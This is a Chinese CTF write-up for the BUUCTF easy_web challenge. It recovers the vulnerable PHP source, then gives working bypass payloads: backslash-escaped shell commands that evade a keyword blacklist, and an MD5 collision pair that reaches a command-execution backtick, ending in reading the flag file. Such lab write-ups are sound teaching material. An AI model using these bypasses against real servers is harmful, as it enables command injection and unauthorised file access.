当前位置: 首页 > article >正文

95,【3】 buuctf web [安洵杯 2019]easy_web

进入靶场

一下子就看到了url处的异常

这串字符看起来是经过 Base64 编码的

TXpVek5UTTFNbVUzTURabE5qYz0&cmd= 

 解码

base64解码 base64编码 在线base64解码/编码工具 iP138在线工具

之前常用的用不了了,换用这个工具

见到e便想到16进制 

在线字符串/十六进制互相转换—LZL在线工具 

 

所以我们要想传参也应经历此步骤,先16,再两次64

试着查看源码

TUhnMk9TQXdlRFpsSURCNE5qUWdNSGcyTlNBd2VEYzRJREI0TW1VZ01IZzNNQ0F3ZURZNElEQjROekE9 

传递后发现有问题

把16进制之间的空格删掉试试

TUhnMk9UQjRObVV3ZURZME1IZzJOVEI0Tnpnd2VESmxNSGczTURCNE5qZ3dlRGN3

 还是有问题

把16进制的空格和0x都删掉

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

 发现此时ctrl+u显示的源代码有变化

开头提示base64编码 

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

 结尾还提到了MD5

先解码得到源代码

<?php
// 设置错误报告级别,显示除通知级别的所有错误信息
// E_ALL 表示显示所有错误,~ E_NOTICE 表示排除通知类错误
error_reporting(E_ALL || ~ E_NOTICE);

// 设置响应的 HTTP 头,指定内容类型为 text/html,字符编码为 UTF-8
header('content-type:text/html;charset=utf-8');

// 从 GET 请求中获取名为 'cmd' 的参数值,并赋值给变量 $cmd
$cmd = $_GET['cmd'];

// 检查 GET 请求中是否缺少 'img' 或 'cmd' 参数
if (!isset($_GET['img']) || !isset($_GET['cmd'])) {
    // 如果缺少参数,使用 header 函数进行页面重定向
    // 重定向到 index.php 并携带默认的 'img' 和 'cmd' 参数
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
}

// 对 GET 请求中 'img' 参数的值进行两次 Base64 解码,然后将十六进制字符串转换为二进制字符串
// 最终得到的结果存储在变量 $file 中,这个值可能代表一个文件名
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

// 使用正则表达式过滤 $file 中的非法字符,只保留字母、数字和点号
// 防止通过文件名进行恶意操作,如目录遍历攻击等
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);

// 使用正则表达式检查 $file 中是否包含 'flag' 字符串(不区分大小写)
if (preg_match("/flag/i", $file)) {
    // 如果包含 'flag',则输出一张图片(ctf3.jpeg)
    echo '<img src ="./ctf3.jpeg">';
    // 输出提示信息并终止脚本执行,防止用户获取包含 'flag' 的文件
    die("xixi~ no flag");
} else {
    // 如果不包含 'flag',读取 $file 对应的文件内容,并将其进行 Base64 编码
    $txt = base64_encode(file_get_contents($file));
    // 输出一个 img 标签,将 Base64 编码后的文件内容作为图片源显示图片
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    // 输出换行符,用于排版
    echo "<br>";
}

// 输出从 GET 请求中获取的 'cmd' 参数的值
echo $cmd;
// 输出换行符,用于排版
echo "<br>";

// 使用正则表达式检查 $cmd 中是否包含危险字符或命令
// 这些字符和命令可能被用于执行系统命令或进行 SQL 注入等攻击
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    // 如果包含危险字符或命令,输出禁止提示信息
    echo("forbid ~");
    // 输出换行符,用于排版
    echo "<br>";
} else {
    // 检查 POST 请求中 'a' 和 'b' 参数的值不相等,但它们的 MD5 哈希值相等
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        // 如果满足条件,使用反引号执行 $cmd 中的命令,并输出结果
        // 这是一种执行系统命令的方式,存在安全风险
        echo `$cmd`;
    } else {
        // 如果不满足条件,输出提示信息,提示 MD5 比较的情况
        echo ("md5 is funny ~");
    }
}
?>

 要绕过正则匹配和MD5

正则匹配使用/来进行绕过,这是借助了一些 Linux 命令的特性

MD5

 抓包,修改请求

$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

$a 和 $b 是经过 URL 编码的十六进制字符串,这里利用了 MD5 算法的哈希碰撞漏洞来绕过条件判断。 $a 中有 %00,而 $b 对应位置是 %02,这表明 $a 和 $b 本身是不同的字符串。

 

cmd=dir

cmd=l\s%20/ 

 

cmd=cat flag=>ca\t%20/f\l\a\g 

 


http://www.kler.cn/a/531582.html

相关文章:

  • gitea - fatal: Authentication failed
  • 响应式编程与协程
  • 重新刷题求职2-DAY1
  • Spark的基本概念
  • 自动驾驶---两轮自行车的自主导航
  • nodejs:js-mdict 的下载、安装、测试、build
  • DeepSeek推动大语言模型发展进入新阶段
  • Turing Complete-1位开关
  • 2022 年 6 月大学英语四级考试真题(第 3 套)——纯享题目版
  • 四川正熠法律咨询有限公司正规吗可信吗?
  • blender 相机参数
  • 求水仙花数,提取算好,打表法。或者暴力解出来。
  • 利用Vue和javascript分别编写一个“Hello World”的定时更新
  • OpenGL学习笔记(六):Transformations 变换(变换矩阵、坐标系统、GLM库应用)
  • 【16届蓝桥杯寒假刷题营】第2期DAY2
  • mysql操作语句与事务
  • C++STL(一)——string类
  • “深度强化学习揭秘:掌握DQN与PPO算法的精髓“
  • ubuntu磁盘扩容
  • 分析哲学:从 语言解剖到 思想澄清的哲学探险
  • Linux 权限 详细版!!
  • 使用朴素贝叶斯对自定义数据集进行分类
  • 2024联想春招硬件嵌入式开发真题及答案解析
  • Unity-编译构建Android的问题记录
  • 跨平台文件互传工具
  • 3.[羊城杯2020]easyphp